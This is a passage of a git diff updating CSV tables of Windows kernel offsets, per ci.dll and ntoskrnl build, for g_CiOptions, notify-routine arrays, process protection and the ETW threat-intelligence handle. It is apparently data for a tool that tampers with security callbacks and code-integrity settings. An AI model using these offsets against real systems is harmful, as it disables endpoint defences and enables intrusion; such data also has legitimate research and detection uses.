-ci_16299-15.dll,1cd10 -ci_15063-877.dll,1bbb0 -ci_16299-1565.dll,1dd10 -ci_16299-246.dll,1cd10 -ci_16299-1268.dll,1dd10 -ci_16299-246.dll,1cd10 -ci_16299-246.dll,1cd10 -ci_16299-432.dll,1cd10 -ci_16299-10000.dll,1cd10 -ci_16299-64.dll,1cd10 -ci_16299-371.dll,1cd10 -ci_17134-1.dll,1dcb0 -ci_17134-1098.dll,1dc98 -ci_16299-1087.dll,1cd10 -ci_17134-1067.dll,1dc98 -ci_17134-112.dll,1dcb0 -ci_17134-228.dll,1dc98 -ci_17134-2090.dll,1dc98 -ci_17134-1130.dll,1dc98 -ci_17134-285.dll,1dc98 -ci_17134-829.dll,1dc98 -ci_17134-441.dll,1dc98 -ci_17134-80.dll,1dcb0 -ci_17134-885.dll,1dc98 -ci_17134-1006.dll,1dc98 -ci_17134-858.dll,1dc98 -ci_17763-253.dll,36d18 -ci_17134-950.dll,1dc98 -ci_17763-1131.dll,36d18 -ci_17763-1131.dll,36d18 -ci_17763-1007.dll,36d18 -ci_17763-1282.dll,36d18 -ci_17763-1554.dll,36d18 -ci_17763-1577.dll,36d18 -ci_17763-10458.dll,36d18 -ci_17763-1757.dll,36d18 -ci_17763-1971.dll,36d18 -ci_17763-2061.dll,36d18 -ci_17763-1790.dll,36d18 -ci_17763-2183.dll,36d18 -ci_17763-2090.dll,36d18 -ci_17763-2237.dll,36d18 -ci_17763-2510.dll,36d18 -ci_17763-2458.dll,36d18 -ci_17763-292.dll,36d18 -ci_17763-2330.dll,36d18 -ci_17763-2369.dll,36d18 -ci_17763-2989.dll,36d18 -ci_17763-2628.dll,36d18 -ci_17763-10877.dll,36d18 -ci_17763-3406.dll,36d18 -ci_17763-3165.dll,36d18 -ci_17763-3532.dll,36d58 -ci_17763-379.dll,36d18 -ci_17763-404.dll,36d18 -ci_17763-3650.dll,36d58 -ci_17763-592.dll,36d18 -ci_17763-557.dll,36d18 -ci_17763-615.dll,36d18 -ci_17763-55.dll,36d18 -ci_17763-719.dll,36d18 -ci_17763-802.dll,36d18 -ci_17763-678.dll,36d18 -ci_18362-53.dll,37278 -ci_18362-1171.dll,37278 -ci_18362-1556.dll,37278 -ci_18362-1593.dll,38278 -ci_18362-1020.dll,37278 -ci_18362-1171.dll,37278 -ci_18362-1734.dll,38278 -ci_18362-1049.dll,37278 -ci_18362-1801.dll,38278 -ci_18362-1854.dll,38278 -ci_18362-1679.dll,38278 -ci_18362-2337.dll,38278 -ci_18362-1027.dll,37278 -ci_18362-2039.dll,38278 -ci_18362-239.dll,37278 -ci_18362-10013.dll,37278 -ci_18362-295.dll,37278 -ci_18362-329.dll,37278 -ci_18362-387.dll,37278 -ci_18362-815.dll,37278 -ci_18362-592.dll,37278 -ci_18362-900.dll,37278 -ci_18362-1059.dll,37278 -ci_19041-208.dll,38378 -ci_19041-1157.dll,383d8 -ci_19041-1157.dll,383d8 -ci_19041-1023.dll,383d8 -ci_19041-1165.dll,383b8 -ci_19041-1165.dll,383d8 -ci_19041-1165.dll,383b8 -ci_19041-1288.dll,383b8 -ci_19041-1320.dll,383b8 -ci_19041-1371.dll,383b8 -ci_19041-1173.dll,383b8 -ci_19041-1526.dll,393b8 -ci_19041-1865.dll,393d8 -ci_19041-1826.dll,393b8 -ci_19041-1708.dll,393b8 -ci_19041-1645.dll,383b8 -ci_19041-1469.dll,383b8 -ci_19041-1682.dll,383b8 -ci_19041-2251.dll,3a438 -ci_19041-388.dll,38378 -ci_19041-488.dll,383b8 -ci_19041-2311.dll,39418 -ci_19041-870.dll,383b8 -ci_19041-423.dll,383b8 -ci_19041-606.dll,383b8 -ci_22000-132.dll,3d004 -ci_19041-985.dll,383d8 -ci_22000-1219.dll,3d004 -ci_22000-318.dll,3d004 -ci_22000-1219.dll,3d004 -ci_22000-347.dll,3d004 -ci_22000-434.dll,3d004 -ci_22000-376.dll,3d004 -ci_22000-613.dll,3d004 -ci_22000-652.dll,3d004 -ci_22000-493.dll,3d004 -ci_22000-675.dll,3d004 -ci_22000-795.dll,3d004 -ci_22000-832.dll,3d004 -ci_22000-740.dll,3d004 -ci_22000-975.dll,3d004 -ci_22621-590.dll,41004 -ci_22621-608.dll,41004 -ci_22621-815.dll,41004 -ci_22621-675.dll,41004 -ci_19041-2075.dll,3a438 -ci_19041-2364.dll,39418 +ciVersion,g_CiOptions,CiValidateImageHeader +ci_10240-16384.dll,16c10,26f90 +ci_10240-17319.dll,16c10,271e0 +ci_10240-17673.dll,16c10,27200 +ci_10240-17797.dll,16c10,27200 +ci_10240-17831.dll,16c10,27200 +ci_10240-17861.dll,16c10,27200 +ci_10240-17889.dll,16c10,27390 +ci_10240-17976.dll,16c10,273b0 +ci_10240-18275.dll,16c10,273b0 +ci_10240-18609.dll,16c10,273b0 +ci_10240-19119.dll,16c10,273b0 +ci_10240-19509.dll,16c10,273e0 +ci_10240-20048.dll,16c10,273e0 +ci_10240-20107.dll,16c10,273e0 +ci_10240-20232.dll,16c10,273e0 +ci_10586-0.dll,16c30,27290 +ci_10586-839.dll,16c30,27290 +ci_10586-1232.dll,16c30,272b0 +ci_10586-1478.dll,16c30,272b0 +ci_10586-1540.dll,16c30,272b0 +ci_14393-0.dll,19b50,2b400 +ci_14393-206.dll,19b50,2b400 +ci_14393-726.dll,19b50,2b400 +ci_14393-953.dll,19b50,2b400 +ci_14393-2189.dll,19b50,2b440 +ci_14393-2214.dll,19b50,2b440 +ci_14393-2248.dll,19b50,2b440 +ci_14393-2273.dll,19b50,2b440 +ci_14393-2312.dll,19b50,2b5c0 +ci_14393-2339.dll,19b50,2b5c0 +ci_14393-2395.dll,19b50,2b5c0 +ci_14393-2485.dll,19b50,2b5d0 +ci_14393-2636.dll,19b50,2b5d0 +ci_14393-3053.dll,19b50,2b5d0 +ci_14393-3115.dll,19b50,2b5d0 +ci_14393-3297.dll,19b50,2b5d0 +ci_14393-3323.dll,19b50,2b5d0 +ci_14393-3383.dll,19b50,2b5d0 +ci_14393-3930.dll,19b70,2b5d0 +ci_14393-3986.dll,19b70,2b5d0 +ci_14393-4350.dll,19b70,2b5d0 +ci_14393-4530.dll,19b70,2b5d0 +ci_14393-4583.dll,19b70,2b5f0 +ci_14393-4704.dll,19b70,2b5f0 +ci_14393-4770.dll,19b70,2b5f0 +ci_14393-5006.dll,19b70,2b5f0 +ci_14393-5125.dll,19b70,2b630 +ci_14393-5192.dll,19b50,2b610 +ci_14393-5501.dll,19b50,2b610 +ci_14393-5582.dll,19b50,2b610 +ci_14393-5648.dll,19b50,2b610 +ci_14393-5850.dll,19b50,2b610 +ci_14393-5921.dll,19b50,2b610 +ci_14393-5980.dll,19b50,2b610 +ci_14393-6167.dll,19b50,2b610 +ci_15063-0.dll,1bbb0,2e5c0 +ci_15063-296.dll,1bbb0,2e5c0 +ci_15063-877.dll,1bbb0,2e5e0 +ci_15063-936.dll,1bbb0,2e5e0 +ci_15063-968.dll,1bbb0,2e5e0 +ci_15063-1029.dll,1bbb0,2e5f0 +ci_15063-1058.dll,1bbb0,2e5f0 +ci_15063-1088.dll,1bbb0,2e5f0 +ci_15063-1091.dll,1bbb0,2e5f0 +ci_15063-1155.dll,1bbb0,2e770 +ci_15063-1235.dll,1bbb0,2e770 +ci_15063-1324.dll,1bbb0,2e780 +ci_15063-1897.dll,1bbb0,2e780 +ci_15063-1928.dll,1bbb0,2e780 +ci_15063-1987.dll,1bbb0,2e780 +ci_15063-2045.dll,1bbb0,2e780 +ci_15063-2223.dll,1bbb0,2e780 +ci_16299-15.dll,1cd10,31430 +ci_16299-64.dll,1cd10,31440 +ci_16299-95.dll,1cd10,31440 +ci_16299-125.dll,1cd10,31440 +ci_16299-214.dll,1cd10,31440 +ci_16299-246.dll,1cd10,31440 +ci_16299-248.dll,1cd10,31440 +ci_16299-334.dll,1cd10,31440 +ci_16299-371.dll,1cd10,31450 +ci_16299-431.dll,1cd10,31470 +ci_16299-432.dll,1cd10,31470 +ci_16299-492.dll,1cd10,31670 +ci_16299-665.dll,1cd10,31680 +ci_16299-1087.dll,1cd10,31680 +ci_16299-1237.dll,1dd10,32690 +ci_16299-1268.dll,1dd10,32690 +ci_16299-1331.dll,1dd10,32690 +ci_16299-1480.dll,1dd10,32690 +ci_16299-1565.dll,1dd10,32690 +ci_16299-10000.dll,1cd10,31670 +ci_17134-1.dll,1dcb0,32aa0 +ci_17134-80.dll,1dcb0,32aa0 +ci_17134-81.dll,1dcb0,32aa0 +ci_17134-83.dll,1dcb0,32aa0 +ci_17134-112.dll,1dcb0,32c90 +ci_17134-191.dll,1dc98,32c90 +ci_17134-228.dll,1dc98,32c90 +ci_17134-285.dll,1dc98,32c90 +ci_17134-441.dll,1dc98,32c90 +ci_17134-799.dll,1dc98,32ca0 +ci_17134-829.dll,1dc98,32ca0 +ci_17134-858.dll,1dc98,32ca0 +ci_17134-885.dll,1dc98,32ca0 +ci_17134-950.dll,1dc98,32ca0 +ci_17134-982.dll,1dc98,32ca0 +ci_17134-1006.dll,1dc98,32ca0 +ci_17134-1067.dll,1dc98,32ca0 +ci_17134-1098.dll,1dc98,32ca0 +ci_17134-1130.dll,1dc98,32ca0 +ci_17134-2090.dll,1dc98,32ca0 +ci_17134-2208.dll,1dc98,32ca0 +ci_17763-1.dll,36d18,4ba10 +ci_17763-55.dll,36d18,4ba10 +ci_17763-253.dll,36d18,4ba10 +ci_17763-292.dll,36d18,4ba10 +ci_17763-348.dll,36d18,4b9f0 +ci_17763-379.dll,36d18,4b9f0 +ci_17763-404.dll,36d18,4ba30 +ci_17763-529.dll,36d18,4ba40 +ci_17763-557.dll,36d18,4ba40 +ci_17763-592.dll,36d18,4ba40 +ci_17763-615.dll,36d18,4ba40 +ci_17763-678.dll,36d18,4ba40 +ci_17763-719.dll,36d18,4ba40 +ci_17763-802.dll,36d18,4ba40 +ci_17763-831.dll,36d18,4ba40 +ci_17763-1007.dll,36d18,4ba40 +ci_17763-1039.dll,36d18,4ba40 +ci_17763-1131.dll,36d18,4ba40 +ci_17763-1282.dll,36d18,4ba40 +ci_17763-1490.dll,36d18,4ba40 +ci_17763-1554.dll,36d18,4ba40 +ci_17763-1577.dll,36d18,4ba70 +ci_17763-1613.dll,36d18,4ba70 +ci_17763-1757.dll,36d18,4ba70 +ci_17763-1790.dll,36d18,4ba70 +ci_17763-1852.dll,36d18,4ba70 +ci_17763-1971.dll,36d18,4ba70 +ci_17763-2028.dll,36d18,4ba80 +ci_17763-2061.dll,36d18,4ba80 +ci_17763-2090.dll,36d18,4ba80 +ci_17763-2145.dll,36d18,4ba80 +ci_17763-2183.dll,36d18,4ba80 +ci_17763-2213.dll,36d18,4ba80 +ci_17763-2237.dll,36d18,4ba80 +ci_17763-2300.dll,36d18,4bad0 +ci_17763-2330.dll,36d18,4bad0 +ci_17763-2366.dll,36d18,4bad0 +ci_17763-2369.dll,36d18,4bad0 +ci_17763-2452.dll,36d18,4bad0 +ci_17763-2458.dll,36d18,4bad0 +ci_17763-2510.dll,36d18,4bad0 +ci_17763-2628.dll,36d18,4baa0 +ci_17763-2867.dll,36d18,4bb00 +ci_17763-2989.dll,36d18,4bb00 +ci_17763-3046.dll,36d18,4bae0 +ci_17763-3113.dll,36d18,4bae0 +ci_17763-3165.dll,36d18,4bae0 +ci_17763-3232.dll,36d18,4bae0 +ci_17763-3406.dll,36d18,4bae0 +ci_17763-3469.dll,36d58,4bb30 +ci_17763-3532.dll,36d58,4bb30 +ci_17763-3650.dll,36d58,4bb30 +ci_17763-3770.dll,36d58,4bb30 +ci_17763-3772.dll,36d58,4bb30 +ci_17763-3887.dll,36d58,4bb30 +ci_17763-4011.dll,36d58,4bb30 +ci_17763-4131.dll,36d58,4bb30 +ci_17763-4252.dll,36d58,4bb30 +ci_17763-4377.dll,36d58,4bb30 +ci_17763-4492.dll,36d58,4bb30 +ci_17763-4504.dll,36d58,4bb30 +ci_17763-4644.dll,36d58,4bb30 +ci_17763-4737.dll,36d58,4bb30 +ci_17763-4840.dll,36d58,4bb30 +ci_17763-4974.dll,36d58,4bb30 +ci_17763-10458.dll,36d18,4ba70 +ci_17763-10877.dll,36d18,4bae0 +ci_18362-1.dll,37278,4c600 +ci_18362-53.dll,37278,4c600 +ci_18362-145.dll,37278,4c600 +ci_18362-207.dll,37278,4c600 +ci_18362-239.dll,37278,4c600 +ci_18362-267.dll,37278,4c600 +ci_18362-295.dll,37278,4c600 +ci_18362-329.dll,37278,4c600 +ci_18362-387.dll,37278,4c600 +ci_18362-418.dll,37278,4c600 +ci_18362-592.dll,37278,4c600 +ci_18362-628.dll,37278,4c600 +ci_18362-815.dll,37278,4c600 +ci_18362-900.dll,37278,4c600 +ci_18362-1020.dll,37278,4c600 +ci_18362-1027.dll,37278,4c600 +ci_18362-1049.dll,37278,4c600 +ci_18362-1059.dll,37278,4c600 +ci_18362-1110.dll,37278,4c600 +ci_18362-1171.dll,37278,4c600 +ci_18362-1237.dll,37278,4c600 +ci_18362-1556.dll,37278,4c600 +ci_18362-1593.dll,38278,4d600 +ci_18362-1679.dll,38278,4d600 +ci_18362-1714.dll,38278,4d600 +ci_18362-1734.dll,38278,4d600 +ci_18362-1766.dll,38278,4d600 +ci_18362-1801.dll,38278,4d600 +ci_18362-1832.dll,38278,4d600 +ci_18362-1854.dll,38278,4d600 +ci_18362-2037.dll,38278,4d600 +ci_18362-2039.dll,38278,4d600 +ci_18362-2274.dll,38278,4d660 +ci_18362-2337.dll,38278,4d660 +ci_18362-10013.dll,37278,4c600 +ci_19041-1.dll,38378,4dae0 +ci_19041-208.dll,38378,4dae0 +ci_19041-329.dll,38378,4dae0 +ci_19041-388.dll,38378,4dae0 +ci_19041-423.dll,383b8,4f1d0 +ci_19041-488.dll,383b8,4f1d0 +ci_19041-546.dll,383b8,4f1d0 +ci_19041-606.dll,383b8,4f1d0 +ci_19041-662.dll,383b8,4f1d0 +ci_19041-870.dll,383b8,4f1d0 +ci_19041-964.dll,383d8,4f4d0 +ci_19041-985.dll,383d8,4f4d0 +ci_19041-1023.dll,383d8,4f4d0 +ci_19041-1081.dll,383d8,4f4e0 +ci_19041-1110.dll,383d8,4f4e0 +ci_19041-1151.dll,383d8,4f4e0 +ci_19041-1157.dll,383d8,4f4e0 +ci_19041-1165.dll,383b8,4f4e0 +ci_19041-1165.dll,383d8,4f4e0 +ci_19041-1173.dll,383b8,4f510 +ci_19041-1202.dll,383b8,4f4e0 +ci_19041-1221.dll,39418,50680 +ci_19041-1223.dll,39418,50680 +ci_19041-1237.dll,383b8,4f4e0 +ci_19041-1266.dll,383b8,4f4e0 +ci_19041-1288.dll,383b8,4f4e0 +ci_19041-1320.dll,383b8,4f510 +ci_19041-1348.dll,383b8,4f510 +ci_19041-1371.dll,383b8,4f510 +ci_19041-1415.dll,383b8,4f510 +ci_19041-1466.dll,383b8,4f510 +ci_19041-1469.dll,383b8,4f510 +ci_19041-1503.dll,393b8,505c0 +ci_19041-1526.dll,393b8,505c0 +ci_19041-1566.dll,383b8,4f5b0 +ci_19041-1645.dll,383b8,4f5b0 +ci_19041-1682.dll,383b8,4f630 +ci_19041-1706.dll,393b8,50610 +ci_19041-1708.dll,393b8,50610 +ci_19041-1741.dll,393b8,50610 +ci_19041-1826.dll,393b8,50610 +ci_19041-1865.dll,393d8,50610 +ci_19041-2075.dll,3a438,51680 +ci_19041-2251.dll,3a438,51680 +ci_19041-2311.dll,39418,50680 +ci_19041-2364.dll,39418,50680 +ci_19041-2486.dll,39418,50680 +ci_19041-2546.dll,39418,50680 +ci_19041-2788.dll,39418,50680 +ci_19041-2846.dll,39418,50680 +ci_19041-2913.dll,39418,50680 +ci_19041-2965.dll,39418,50680 +ci_19041-3031.dll,39418,50680 +ci_19041-3083.dll,39418,50680 +ci_19041-3086.dll,39418,50680 +ci_19041-3205.dll,39418,50680 +ci_19041-3208.dll,39418,50680 +ci_19041-3271.dll,39418,50680 +ci_19041-3324.dll,39418,50680 +ci_19041-3393.dll,393f8,50680 +ci_19041-3505.dll,393f8,50680 +ci_19041-3516.dll,39418,50680 +ci_19041-3570.dll,39418,50680 +ci_19041-3636.dll,3a438,51b60 +ci_22000-100.dll,3d004,4c3a0 +ci_22000-132.dll,3d004,4c3a0 +ci_22000-318.dll,3d004,4c3a0 +ci_22000-347.dll,3d004,4c3a0 +ci_22000-348.dll,3d004,4c3a0 +ci_22000-376.dll,3d004,4c3a0 +ci_22000-434.dll,3d004,4c3a0 +ci_22000-469.dll,3d004,4c3a0 +ci_22000-493.dll,3d004,4c3a0 +ci_22000-527.dll,3d004,4c3a0 +ci_22000-613.dll,3d004,4c3a0 +ci_22000-652.dll,3d004,4c3e0 +ci_22000-675.dll,3d004,4c3c0 +ci_22000-708.dll,3d004,4c3c0 +ci_22000-740.dll,3d004,4c3c0 +ci_22000-778.dll,3d004,4c3c0 +ci_22000-795.dll,3d004,4c3c0 +ci_22000-832.dll,3d004,4c6a0 +ci_22000-918.dll,3d004,4c6a0 +ci_22000-975.dll,3d004,4c6a0 +ci_22000-1042.dll,3d004,4c700 +ci_22000-1165.dll,3d004,4c700 +ci_22000-1219.dll,3d004,4c700 +ci_22000-1281.dll,3d004,4c700 +ci_22000-1335.dll,3d004,4c700 +ci_22000-1455.dll,3d004,4c700 +ci_22000-1516.dll,3d004,4c700 +ci_22000-1696.dll,3d004,4c700 +ci_22000-1817.dll,3d004,4c700 +ci_22000-1880.dll,3d004,4c700 +ci_22000-1936.dll,3d004,4c700 +ci_22000-2054.dll,3d004,4c700 +ci_22000-2057.dll,3d004,4c700 +ci_22000-2176.dll,3d004,4c700 +ci_22000-2295.dll,3d004,4c700 +ci_22000-2360.dll,3d004,4c700 +ci_22000-2416.dll,3d004,4c700 +ci_22000-2482.dll,3d004,4c750 +ci_22000-2538.dll,3d004,4c750 +ci_22621-317.dll,41004,51e00 +ci_22621-590.dll,41004,51e00 +ci_22621-608.dll,41004,51e00 +ci_22621-674.dll,41004,51e00 +ci_22621-675.dll,41004,51e00 +ci_22621-755.dll,41004,51e00 +ci_22621-815.dll,41004,51e00 +ci_22621-900.dll,41004,52350 +ci_22621-963.dll,41004,52350 +ci_22621-1028.dll,41004,52350 +ci_22621-1095.dll,41004,52350 +ci_22621-1105.dll,41004,52350 +ci_22621-1125.dll,43004,54070 +ci_22621-1180.dll,41004,52350 +ci_22621-1194.dll,43004,54370 +ci_22621-1244.dll,43004,540a0 +ci_22621-1255.dll,43004,54370 +ci_22621-1265.dll,43004,54370 +ci_22621-1344.dll,42004,53370 +ci_22621-1470.dll,42004,53370 +ci_22621-1485.dll,42004,53040 +ci_22621-1555.dll,42004,53040 +ci_22621-1690.dll,42004,53040 +ci_22621-1702.dll,42004,53040 +ci_22621-1778.dll,42004,53040 +ci_22621-1848.dll,42004,53040 +ci_22621-1906.dll,42004,53040 +ci_22621-1928.dll,44004,55080 +ci_22621-1972.dll,44004,55080 +ci_22621-1992.dll,44004,55080 +ci_22621-2050.dll,44004,55080 +ci_22621-2062.dll,43004,54070 +ci_22621-2070.dll,43004,54070 +ci_22621-2134.dll,43004,54070 +ci_22621-2209.dll,43004,540a0 +ci_22621-2215.dll,43004,540a0 +ci_22621-2283.dll,43004,540a0 +ci_22621-2361.dll,43004,540a0 +ci_22621-2420.dll,43004,540a0 +ci_22621-2506.dll,44004,55580 +ci_22621-2700.dll,44004,55580 diff --git a/Offsets/NtoskrnlOffsets.csv b/Offsets/NtoskrnlOffsets.csv index 593fae0..acfc303 100644 --- a/Offsets/NtoskrnlOffsets.csv +++ b/Offsets/NtoskrnlOffsets.csv @@ -1,677 +1,668 @@ -ntoskrnlVersion,PspCreateProcessNotifyRoutineOffset,PspCreateThreadNotifyRoutineOffset,PspLoadImageNotifyRoutineOffset,_PS_PROTECTIONOffset,EtwThreatIntProvRegHandleOffset,EtwRegEntry_GuidEntryOffset,EtwGuidEntry_ProviderEnableInfoOffset,PsProcessType,PsThreadType,CallbackList -ntoskrnl_6003-21251.exe,1a9d00,1a9ae0,1a9a80,0,0,10,50,22c020,22c040,228 -ntoskrnl_7601-25740.exe,21c500,21c2e0,21c0c0,0,0,20,50,29e020,29e050,c0 -ntoskrnl_9600-17031.exe,2e1a40,2e1840,2e1640,67a,0,10,50,354020,354048,c8 -ntoskrnl_9600-19321.exe,2dcb10,2dc910,2dc710,67a,0,20,50,34f030,34f048,c8 -ntoskrnl_9600-19376.exe,2dbb10,2db910,2db710,67a,0,20,50,34e030,34e048,c8 -ntoskrnl_9600-19426.exe,2dbb10,2db910,2db710,67a,0,20,50,34e030,34e048,c8 -ntoskrnl_9600-20111.exe,2dac50,2daa50,2da850,67a,0,20,50,34d030,34d048,c8 -ntoskrnl_9600-20144.exe,2dac50,2daa50,2da850,67a,0,20,50,34d030,34d048,c8 -ntoskrnl_10240-16384.exe,35d2e0,35d0e0,35cee0,6aa,0,20,50,3c51e8,3c5200,c8 -ntoskrnl_10240-17394.exe,35d420,35d220,35d020,6aa,0,20,50,3c51e8,3c5200,c8 -ntoskrnl_10240-17443.exe,35c420,35c220,35c020,6aa,0,20,50,3c41e8,3c4200,c8 -ntoskrnl_10240-17446.exe,35c420,35c220,35c020,6aa,0,20,50,3c41e8,3c4200,c8 -ntoskrnl_10240-17488.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50,3c41e8,3c4200,c8 -ntoskrnl_10240-17533.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50,3c41e8,3c4200,c8 -ntoskrnl_10240-17609.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50,3c41e8,3c4200,c8 -ntoskrnl_10240-17643.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50,3c41e8,3c4200,c8 -ntoskrnl_10240-17709.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50,3c41e8,3c4200,c8 -ntoskrnl_10240-17738.exe,366520,366320,366120,6b2,0,20,50,3cd1e8,3cd200,c8 -ntoskrnl_10240-17741.exe,366520,366320,366120,6b2,0,20,50,3cd1e8,3cd200,c8 -ntoskrnl_10240-17770.exe,366520,366320,366120,6b2,0,20,50,3cd1e8,3cd200,c8 -ntoskrnl_10240-17797.exe,366520,366320,366120,6b2,0,20,50,3cd1e8,3cd200,c8 -ntoskrnl_10240-17831.exe,366520,366320,366120,6b2,0,20,50,3cd1e8,3cd200,c8 -ntoskrnl_10240-17861.exe,3664e0,3662e0,3660e0,6b2,0,20,50,3cd228,3cd240,c8 -ntoskrnl_10240-17889.exe,3644e0,3642e0,3640e0,6b2,0,20,50,3cc228,3cc248,c8 -ntoskrnl_10240-17914.exe,3644e0,3642e0,3640e0,6b2,0,20,50,3cc228,3cc248,c8 -ntoskrnl_10240-17976.exe,3694e0,3692e0,3690e0,6b2,0,20,50,3d0228,3d0248,c8 -ntoskrnl_10240-18005.exe,3694e0,3692e0,3690e0,6b2,0,20,50,3d0228,3d0248,c8 -ntoskrnl_10240-18036.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8 -ntoskrnl_10240-18063.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8 -ntoskrnl_10240-18094.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8 -ntoskrnl_10240-18132.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8 -ntoskrnl_10240-18135.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8 -ntoskrnl_10240-18158.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8 -ntoskrnl_10240-18187.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8 -ntoskrnl_10240-18215.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8 -ntoskrnl_10240-18275.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8 -ntoskrnl_10240-18303.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8 -ntoskrnl_10240-18333.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8 -ntoskrnl_10240-18427.exe,367520,367320,367120,6b2,0,20,50,3cd228,3cd248,c8 -ntoskrnl_10240-18452.exe,367520,367320,367120,6b2,0,20,50,3cd228,3cd248,c8 -ntoskrnl_10240-18485.exe,3684e0,3682e0,3680e0,6b2,0,20,50,3ce228,3ce248,c8 -ntoskrnl_10240-18545.exe,3684e0,3682e0,3680e0,6b2,0,20,50,3ce228,3ce248,c8 -ntoskrnl_10240-18575.exe,3684e0,3682e0,3680e0,6b2,0,20,50,3ce228,3ce248,c8 -ntoskrnl_10240-18608.exe,3684e0,3682e0,3680e0,6b2,0,20,50,3ce228,3ce248,c8 -ntoskrnl_10240-18609.exe,3684e0,3682e0,3680e0,6b2,0,20,50,3ce228,3ce248,c8 -ntoskrnl_10240-18638.exe,3684e0,3682e0,3680e0,6b2,0,20,50,3ce228,3ce248,c8 -ntoskrnl_10240-18666.exe,367560,367360,367160,6b2,0,20,50,3cd228,3cd248,c8 -ntoskrnl_10240-18725.exe,367560,367360,367160,6b2,0,20,50,3cd228,3cd248,c8 -ntoskrnl_10240-18756.exe,367560,367360,367160,6b2,0,20,50,3cd228,3cd248,c8 -ntoskrnl_10240-18841.exe,367560,367360,367160,6b2,0,20,50,3cd228,3cd248,c8 -ntoskrnl_10240-18906.exe,367560,367360,367160,6b2,0,20,50,3cd228,3cd248,c8 -ntoskrnl_10240-19086.exe,3664e0,3662e0,3660e0,6b2,0,20,50,3cc228,3cc248,c8 -ntoskrnl_10240-19119.exe,3664e0,3662e0,3660e0,6b2,0,20,50,3cc228,3cc248,c8 -ntoskrnl_10240-19145.exe,3664e0,3662e0,3660e0,6b2,0,20,50,3cc228,3cc248,c8 -ntoskrnl_10240-19204.exe,3664a0,3662a0,3660a0,6b2,0,20,50,3cc228,3cc248,c8 -ntoskrnl_10240-19235.exe,366520,366320,366120,6b2,0,20,50,3cc228,3cc248,c8 -ntoskrnl_10240-19325.exe,366520,366320,366120,6b2,0,20,50,3cc228,3cc248,c8 -ntoskrnl_10240-19567.exe,3694e0,3692e0,3690e0,6b2,0,20,50,3cf228,3cf248,c8 -ntoskrnl_10240-19869.exe,369520,369320,369120,6b2,0,20,50,3cf230,3cf248,c8 -ntoskrnl_10240-19983.exe,3695a0,3693a0,3691a0,6b2,0,20,50,3cf230,3cf248,c8 -ntoskrnl_10240-20048.exe,369520,369320,369120,6b2,0,20,50,3cf230,3cf248,c8 -ntoskrnl_10240-20107.exe,3695a0,3693a0,3691a0,6b2,0,20,50,3cf228,3cf248,c8 -ntoskrnl_10240-20161.exe,369560,369360,369160,6b2,0,20,50,3cf228,3cf248,c8 -ntoskrnl_10240-20232.exe,369560,369360,369160,6b2,0,20,50,3cf228,3cf248,c8 -ntoskrnl_10586-0.exe,317180,316f80,316d80,6b2,0,20,50,37f228,37f248,c8 -ntoskrnl_10586-1176.exe,3161c0,315fc0,315dc0,6b2,0,20,50,37e228,37e248,c8 -ntoskrnl_10586-1177.exe,3161c0,315fc0,315dc0,6b2,0,20,50,37e228,37e248,c8 -ntoskrnl_10586-1295.exe,3161c0,315fc0,315dc0,6b2,0,20,50,37e228,37e248,c8 -ntoskrnl_10586-1356.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50,382228,382248,c8 -ntoskrnl_10586-1358.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50,382228,382248,c8 -ntoskrnl_10586-1417.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50,382228,382248,c8 -ntoskrnl_10586-1478.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50,382228,382248,c8 -ntoskrnl_10586-1540.exe,31a300,31a100,319f00,6ba,0,20,50,382228,382248,c8 -ntoskrnl_14393-0.exe,33bba0,33b9a0,33b7a0,6c2,0,20,50,3a8210,3a8230,c8 -ntoskrnl_14393-576.exe,33bca0,33baa0,33b8a0,6c2,0,20,50,3a8210,3a8230,c8 -ntoskrnl_14393-726.exe,335860,335660,335460,6c2,0,20,50,3a1210,3a1230,c8 -ntoskrnl_14393-953.exe,335860,335660,335460,6c2,0,20,50,3a1210,3a1230,c8 -ntoskrnl_14393-1198.exe,335860,335660,335460,6c2,0,20,50,3a1210,3a1230,c8 -ntoskrnl_14393-1532.exe,3348a0,3346a0,3344a0,6c2,0,20,50,3a0210,3a0230,c8 -ntoskrnl_14393-1670.exe,3348a0,3346a0,3344a0,6c2,0,20,50,3a0210,3a0230,c8 -ntoskrnl_14393-1737.exe,3348a0,3346a0,3344a0,6c2,0,20,50,3a0210,3a0230,c8 -ntoskrnl_14393-1770.exe,3348a0,3346a0,3344a0,6c2,0,20,50,3a0210,3a0230,c8 -ntoskrnl_14393-2189.exe,33ea20,33e820,33e620,6ca,0,20,50,3ab210,3ab230,c8 -ntoskrnl_14393-2214.exe,33ea20,33e820,33e620,6ca,0,20,50,3ab210,3ab230,c8 -ntoskrnl_14393-2248.exe,33da60,33d860,33d660,6ca,0,20,50,3aa250,3aa270,c8 -ntoskrnl_14393-2273.exe,33da60,33d860,33d660,6ca,0,20,50,3aa250,3aa270,c8 -ntoskrnl_14393-2312.exe,33ca20,33c820,33c620,6ca,0,20,50,3a9250,3a9278,c8 -ntoskrnl_14393-2363.exe,33ca20,33c820,33c620,6ca,0,20,50,3a9250,3a9278,c8 -ntoskrnl_14393-2395.exe,33bb60,33b960,33b760,6ca,0,20,50,3a8250,3a8278,c8 -ntoskrnl_14393-2430.exe,338b60,338960,338760,6ca,0,20,50,3a5250,3a5278,c8 -ntoskrnl_14393-2485.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8 -ntoskrnl_14393-2551.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8 